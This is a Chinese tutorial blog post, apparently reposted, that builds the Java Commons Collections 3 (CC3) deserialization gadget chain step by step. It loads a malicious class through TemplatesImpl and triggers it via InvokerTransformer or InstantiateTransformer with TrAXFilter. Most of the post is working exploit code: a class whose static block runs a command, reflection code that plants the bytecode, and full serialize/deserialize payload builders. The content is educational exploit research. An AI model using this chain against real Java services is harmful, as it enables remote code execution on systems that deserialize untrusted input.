CC1打不通时的另外一条链CC3

news2024/11/21 1:45:08

在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。

ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
        throws ClassFormatError

这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:

这个defineClass又在当前类中被defineTransletClasses调用:

defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:

第一个返回_class

private synchronized Class[] getTransletClasses() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _class;
    }

第二个返回了_class的下标:

public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

下一调用点还是在这个类中,我们找到newTransformer()这个方法:

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

我们来梳理一下到目前的调用链,很短也很方便:

我们先将payload写出来:

TemplatesImpl templatesimpl = new TemplatesImpl();
        templatesimpl.newTransformer();

写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:

newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对_name和_class进行赋值,如果想要触发defineTransletClasses()我们就需要让_name不为空,_class为空,直接不给_class赋值即可:

if (_name == null) return null;

if (_class == null) defineTransletClasses();

继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载_class,我们这里要注意对_tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:

return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());

上一步之后我们在对_class赋值这里可以看到是通过修改_bytecodes从而控制_class的值:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:

private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;

都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:

                Class tmp = templatesimpl.getClass();
        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);

所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):

Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);
Test.class

public class Calc {
    static{
        try {
            Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
        } catch (IOException e) {                             //win下还是calc
            throw new RuntimeException(e);
        }

    }
}

然后我们再来改_tfactory的值:

这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值

private transient TransformerFactoryImpl _tfactory = null;

我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:

_name = (String)gf.get("_name", null);
   //以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)    
              _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();
    }

我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        templatesimpl.newTransformer();

没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:

final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

第一个if检查_class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的_auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

修改恶意类,继承的父类中有两个抽象方法需要进行重写:

public class Calc extends AbstractTranslet{
    static{
        try {
            Runtime.getRuntime().exec("open -na Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImplTransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        templatesimpl.newTransformer();

    }
}

下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templatesimpl),
            new InvokerTransformer("newTransformer",null,null)
        });
        ctf.transform(1);

剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:

package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templatesimpl),
            new InvokerTransformer("newTransformer",null,null)
        });
        HashMap map = new HashMap();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }
}

相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3

接下来我们在来说ysoserial上用的另一条调用链:

我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:

 public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }

也就是说下面两行代码就可以执行newTransformer了:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);

最终还是用ChainedTransformer包裹起来执行:

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        });
        HashMap map = new HashMap();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/568518.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

照片中对象识别模型YOLOv3在iOS项目中的浅析与使用

YOLOv3模型为苹果开发者官网提供的图形识别对象的CoreML模型&#xff0c;可识别80种对象&#xff0c;并给识别出的对象在图形中的位置和大小。 我们可以直接在官网下载该模型&#xff1a; 机器学习 - 模型 - Apple Developer 然后直接将模型拖入工程中&#xff08;使用的是x…

面试进阶齐飞!Github一天万赞的阿里Java系统性能优化有多牛?

前两天在知乎上看到一个问答&#xff0c;说的是&#xff1a; 一个Java程序员具备什么样的素质和能力才可以称得上高级工程师&#xff1f; 这个问题也引发了我的一些思考&#xff0c;可能很多人会说&#xff0c;“作为高级工程师&#xff0c;基础得过硬、得熟练掌握一门编程语…

信创办公–基于WPS的PPT最佳实践系列 (项目11 绘制流程图)

信创办公–基于WPS的PPT最佳实践系列 &#xff08;项目11 绘制流程图&#xff09; 目录 应用背景操作步骤1、流程图制作过程 应用背景 如果在smartart图形当中没有找到你所需要的图形&#xff0c;想要快速绘制&#xff0c;可以试试以下方法。 操作步骤 以图1为例&#xff0c…

AI智慧安防平台EasyCVR无法成功通过RTMP协议接入是什么原因?

EasyCVR视频融合平台基于云边端协同架构&#xff0c;具有强大的数据接入、处理及分发能力。平台可支持多协议、多类型的前端设备接入&#xff0c;包括市场主流标准协议与厂家私有协议及SDK&#xff0c;如&#xff1a;国标GB28181、RTMP、RTSP/Onvif、海康Ehome、海康SDK、宇视S…

AIGC和ChatGPT推进百度、阿里、腾讯、华为大模型技术创新

AIGC | PC集群 | PC Farm | GPU服务器 生成式AI | Stable Diffusion | ChatGPT 2022 年 12 月&#xff0c;OpenAI 推出了 ChatGPT&#xff0c;这是一种高性能计算的大型语言生成模型。它的出现推动了人机对话技术的发展&#xff0c;并在网络上引起了极大的关注。目前&#xff…

K-verse “韩流崛起”合作伙伴介紹

你们可以通过这次 K-verse LAND 销售活动认识许多品牌和 IP。更多详情见下文。 Netmarble Netmarble IP LAND 以全新方式来享受一系列以 Netmarble 的标志性 IP 为特色的内容&#xff01; Netmarble Corporation 于 2000 年在韩国成立&#xff0c;是全球最畅销手机游戏的领先…

【数据结构】顺序二叉树的实现—以堆的实现为例、堆的调整、堆的创建、堆的插入和删除、堆排序

文章目录 1.堆的概念及结构2.堆的实现&#xff08;以大堆为例&#xff09;2.1堆的插入2.1.1堆的向上调整算法 2.2堆的删除2.2.1堆的向下调整算法 2.3堆的创建2.4有关建堆的时间复杂度 3.堆排序4.C语言堆实现源码 1.堆的概念及结构 堆就是顺序结构二叉树。 如果有一个关键码的集…

操作系统第四章——文件管理(上)

凡所有相&#xff0c;皆是虚妄&#xff0c;若见诸相非相&#xff0c;即见如来 文章目录 4.1.1 初识文件管理前情回顾文件的属性文件内部的数据应该怎样组织起来&#xff1f;文件之间应该怎么样组织起来&#xff1f;操作系统应该向上提供那些功能&#xff1f;文件如何存放在外存…

JOSEF约瑟 JDZY-1440 DC110V 静态中间继电器 导轨安装 常用于电力系统

名称&#xff1a;中间继电器&#xff1b;型号&#xff1a;JDZY-1440&#xff1b;品牌&#xff1a;JOSEF约瑟&#xff1b;额定电压&#xff1a;24,48,110,220VDC/AC380VAC&#xff1b;触点容量&#xff1a;250VAC/5A&#xff1b;功率消耗&#xff1a;2W/3.5W&#xff1b;返回时间…

图数据库实践 - 如何将图数据库应用于身份与访问管理

导读 目前&#xff0c;随着云计算和大数据的快速发展&#xff0c;身份与访问管理&#xff08;Identity and Access Management&#xff0c;IAM&#xff09;系统变得比以往任何时候都更加重要。因为涉密信息可能在几分钟内就被破解&#xff0c;网络犯罪分子仅需要一个员工账号&…

【敬伟ps教程】蒙版和通道的基础知识

文章目录 通道通道面板 Alpha 通道通道和选区的关系编辑 Alpha通道原色通道的利用 图层蒙版编辑图层蒙版快速蒙版 通道 通道是图像文件的一种颜色数据信息存储形式&#xff0c;它与图像文件的颜色模式密切相关 多个分色通道(如图:红R、绿G、蓝B)叠加在一起可以组成一幅具有颜…

通过Python的PIL库给图片添加马赛克

文章目录 前言一、Pillow是什么&#xff1f;二、安装PIL库三、查看PIL库版本四、使用方法1.引入库2.定义图片路径3.打开需要打马赛克的图片4.获取图片尺寸5.创建一个新的图片对象6.定义块的宽高7.循环遍历图片中的每个块进行处理8.保存马赛克图片9.效果 总结 前言 大家好&#…

《Redis-Windows平台下Redis集群的使用》

文章目录 Redis主从集群1.集群结构2.准备实例和配置3.启动4.开启主从关系5.测试Redis主从集群 win-redisx64下载地址 :https://github.com/microsoftarchive/redis/releases 1.集群结构 我们搭建的主从集群结构如图: 共包含三个节点,一个主节点,两个从节点。 这里我们…

内网远程桌面控制软件推荐

远程控制企业内部网中的计算机&#xff08;没有连接外网&#xff09;&#xff0c;如果控制端和被控端都处在该内网&#xff0c;您可以按照以下步骤操作&#xff1a; 1、确保两台计算机都连接到同一个局域网 确保要控制的计算机和要启动远程控制的计算机连接到企业内的同一个局…

python知识点100篇系列(11)-浮点数四舍五入的两种方法

Python 的四舍五入主要有两种方式; 内置函数 round(number[, ndigits])使用 Decimal先说结论: 如果是对金额的四舍五入,不建议使用内置函数,原因如下: 使用round方法: python3中的round函数对浮点数进行四舍五入的规则: 参数ndigits 不为 0 的情况如果保留位数的后一位…

瑞云科技助力番职院打造虚拟数字人,探索职业教育创新之路

3月24-25日&#xff0c;教育部高等学校科学研究发展中心主办、广州番禺职业技术学院承办的2022-2023年职业教育示范性虚拟仿真实训基地建设工作推进会在中国广州举行。会议旨在指导各院校建好用好管好虚拟仿真示范实训基地&#xff0c;以数字化、网络化、智能化赋能职业教育高质…

SeaTunnel本地运行以及kafka发送到redis说明

下载 Seatunnel2.3.1源码 Idea中的目录结构 编译 通过maven进行代码编译 编译命令 mvn clean package -pl seatunnel-dist -am -Dmaven.test.skiptrue 编译单个模块命令 mvn clean package -pl seatunnel-examples/seatunnel-engine-examples -am -Dmaven.test.skiptrue …

@开源爱好者,字节跳动这项技术,正式宣布开源了

告诉大家一个好消息&#xff0c;字节跳动的云原生数据仓库 ByConity 正式宣布开源了。 ByConity 是一个云原生数据仓库&#xff0c;由字节跳动数据平台团队在国际知名开源数据库管理系统 ClickHouse 社区版本基础上开发。 早期&#xff0c;字节跳动的数据存储使用的是 ClickHou…

【Axure教程】通过文本框维护下拉列表选项

下拉列表&#xff08;Dropdown List&#xff09;是一种常见的用户界面元素&#xff0c;用于提供一组选项供用户选择。它通常以一个展开的列表形式出现&#xff0c;用户可以点击或选择列表中的一个选项。一般来说&#xff0c;他的选项值是由系统代码组成的&#xff0c;所以一般是…

leecode每日一题 1080 根到叶路径上的不足节点

题目描述 给你二叉树的根节点 root 和一个整数 limit &#xff0c;请你同时删除树中所有 不足节点 &#xff0c;并返回最终二叉树的根节点。 假如通过节点 node 的每种可能的 “根-叶” 路径上值的总和全都小于给定的 limit&#xff0c;则该节点被称之为 不足节点 &#xff0…